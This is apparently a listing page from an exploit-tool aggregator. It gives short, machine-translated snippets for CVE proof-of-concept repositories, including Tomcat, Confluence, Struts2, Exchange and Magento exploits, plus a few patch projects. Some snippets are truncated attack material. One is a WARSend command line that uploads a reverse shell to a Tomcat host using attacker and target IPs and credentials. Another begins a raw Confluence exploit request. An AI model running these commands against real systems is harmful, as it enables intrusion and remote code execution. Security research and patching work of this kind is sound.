CVE-2019-19634

CVE-2019-19634 - class.upload.php = 2.0.4 Caricamento arbitrario di file Autore - Jinny Ramsmark Fornitore interessato - Verot.net Prodotto interessato - class.upload.php = 2.0.4 Testato su Ubuntu 14.04 appena installato con PHP5 e Apache In particolare Debian/Ubuntu è risultato vulnerabile poich...

warsend

WARSend Caricamento di shell WAR tramite l'API di Apache Tomcat Manager Prerequisiti Credenziali Accesso Text API a Tomcat Manager root@kitploit: $ ./warsend.sh 10.10.14.232 8090 10.10.10.184 8080 tomcat $3cureP4s5w0rd! revshell | | / / | / / / / / | | /| / / /| | / // /\ / / / / | |/ |/ / |/...

Drupal-SA-CORE-2019-003

Drupal-SA-CORE-2019-003 CVE-2019-6340 Drupal SA-CORE-2019-003 CVE-2019-6340 CVE-2019-6340.md https://mp.weixin.qq.com/s/EQD4-K6HgBY9wdzeXeyzkg https://paper.seebug.org/821/ https://www.youtube.com/watch?v=QtLDDN0Duko linkname https://pbs.twimg.com/media/D0C-KiXX4AM2vR3.jpg:large CVE-2019-6340 non...

CVE-2019-3396

CVE-2019-3396 Path traversal del Connector Widget di Confluence CVE-2019-3396 POC RCE root@kitploit: POST /rest/tinymce/1/macro/preview HTTP/1.1 Host: x.x.x.x Connection: close Accept-Encoding: gzip, deflate Accept: / User-Agent: Mozilla/5.0 X11; Linux x8664; rv:60.0 Gecko/20100101 Firefox/60.0...

solr_exploit

Déclaration Les méthodes de détection de vulnérabilités, fichiers et autres contenus fournis ici sont strictement réservés à une utilisation par des professionnels de la sécurité après avoir obtenu une autorisation légale, dans le but de tester la sécurité des serveurs autorisés. Les professionne...

CVE-2024-42640

CVE-2024-42640 angular-bug CVE-2024-42640 Execução Remota de Código Não Autenticada via Biblioteca Angular-Base64-Upload para mais detalhes: blog Introdução As versões de angular-base64-upload anteriores à v0.1.21 são vulneráveis à execução remota de código não autenticada por meio do endpoint...

CVE-2017-8759

Инструмент эксплуатации CVE-2017-8759 Инструмент эксплуатации CVE-2017-8759 — это удобный скрипт на Python, который предоставляет пентестерам и исследователям безопасности быстрый и эффективный способ тестирования RCE Microsoft .NET Framework. Он может генерировать вредоносный RTF-файл и доставля...

CVE-2024-53900

CVE-2024-53900 - Mongoose populate.match $where RCE Dieses Repository stellt eine reproduzierbare verwundbare Umgebung und einen PoC für CVE-2024-53900 bereit, eine kritische Remote-Code-Ausführungs-Sicherheitslücke RCE in Mongoose 8.8.3. 📌 Schwachstellendetails CVE : CVE-2024-53900 Betroffen :...

CVE-2020-17530

S2-061 Gli script sono tutti scritti per l'ambiente di test delle vulnerabilità struts2-059/061 di vulhub, non sono universali. Spero che i maestri possano dare consigli. struts2-061-poc.py esegue semplici comandi di sistema Uso: python struts2-061-poc.py http://ip:port comando Esempio: python...

CVE-2021-34473

CVE-2021-34473 CVE-2021-34473 Vulnerabilidade de Execução Remota de Código no Microsoft Exchange Server Reproduzindo o Exploit ProxyShell https://y4y.space/2021/08/12/my-steps-of-reproducing-proxyshell/ Isto NÃO é a sua arma cibernética, apenas um PoC experimental...

CVE-2022-24086

CVE-2022-24086 CVE-2022-24086 über Magento RCE Beschreibung Adobe Commerce Versionen 2.4.3-p1 und früher und 2.3.7-p2 und früher sind von einer Schwachstelle durch unsachgemäße Eingabevalidierung während des Checkout-Prozesses betroffen. Die Ausnutzung dieses Problems erfordert keine...

spring-cloud-netflix-hystrix-dashboard-cve-2021-22053

CVE-2021-22053: Vulnerabilità di risoluzione dei template del dashboard Hystrix di Spring Cloud Netflix Gravità Alta Fornitore Spring by VMware Descrizione Le applicazioni che utilizzano sia spring-cloud-netflix-hystrix-dashboard che spring-boot-starter-thymeleaf espongono un modo per eseguire...

ProxyLogon

ProxyLogon ProxyLogon è il nome generico formale per CVE-2021-26855, una vulnerabilità su Microsoft Exchange Server che consente a un aggressore di bypassare l'autenticazione e impersonare l'amministratore. Abbiamo anche concatenato questo bug con un'altra vulnerabilità post-autenticazione di...

cve-2021-45232-exp

apisixdashboardrce Non essere malvagio...

cve-2021-45232-exp

apisixdashboardrce Don't be evil...

CVE-2022-30781

🍵 CVE-2022-30781 Exploit di esecuzione remota di comandi tramite migrazione repository Gitea. Come usare 1. Esegui un server filesystem HTTP con i file in questo repository. 2. Modifica il comando da eseguire in api/v1/repos/e99/exp/pulls/1/index.html L96. 3. Migra un repository remoto con URL...

CVE-2020-8840

CVE-2020-8840: Vulnerabilità di esecuzione remota di codice in FasterXML/jackson-databind 0x00 Introduzione root@kitploit: jackson-databind è una libreria di elaborazione JSON appartenente al gruppo di progetti FasterXML. 0x01 Panoramica della vulnerabilità root@kitploit: Il 19 febbraio, NVD ha...

magento2-template-filter-patch

Magento 2 Template Filter Patch für CVE-2022-24086, CVE-2022-24087 Magento 2 Patch für CVE-2022-24086, CVE-2022-24087. Behebt die RCE-Sicherheitslücke und damit verbundene Fehler durch tiefgehendes Escaping von Template-Variablen. Wenn Sie Magento nicht aktualisieren oder die offiziellen Patches...

magento2-session-reaper-patch

Patch Magento 2 per Session Reaper per CVE-2025-54236 Patch per CVE-2025-54236 noto anche come Session Reaper che consente il takeover dell'account cliente e l'esecuzione remota di codice RCE in determinate condizioni. Questa patch è in realtà un'estensione Magento 2 e universalmente compatibile...

magento2-cosmic-sting-patch

Patch per Magento 2 per CVE-2024-34102 noto anche come Cosmic Sting Una soluzione alternativa come estensione per Magento 2 per correggere la vulnerabilità XXE CVE-2024-34102 nota anche come Cosmic Sting. Se non puoi aggiornare Magento o non puoi applicare la patch ufficiale, prova questa. Se non...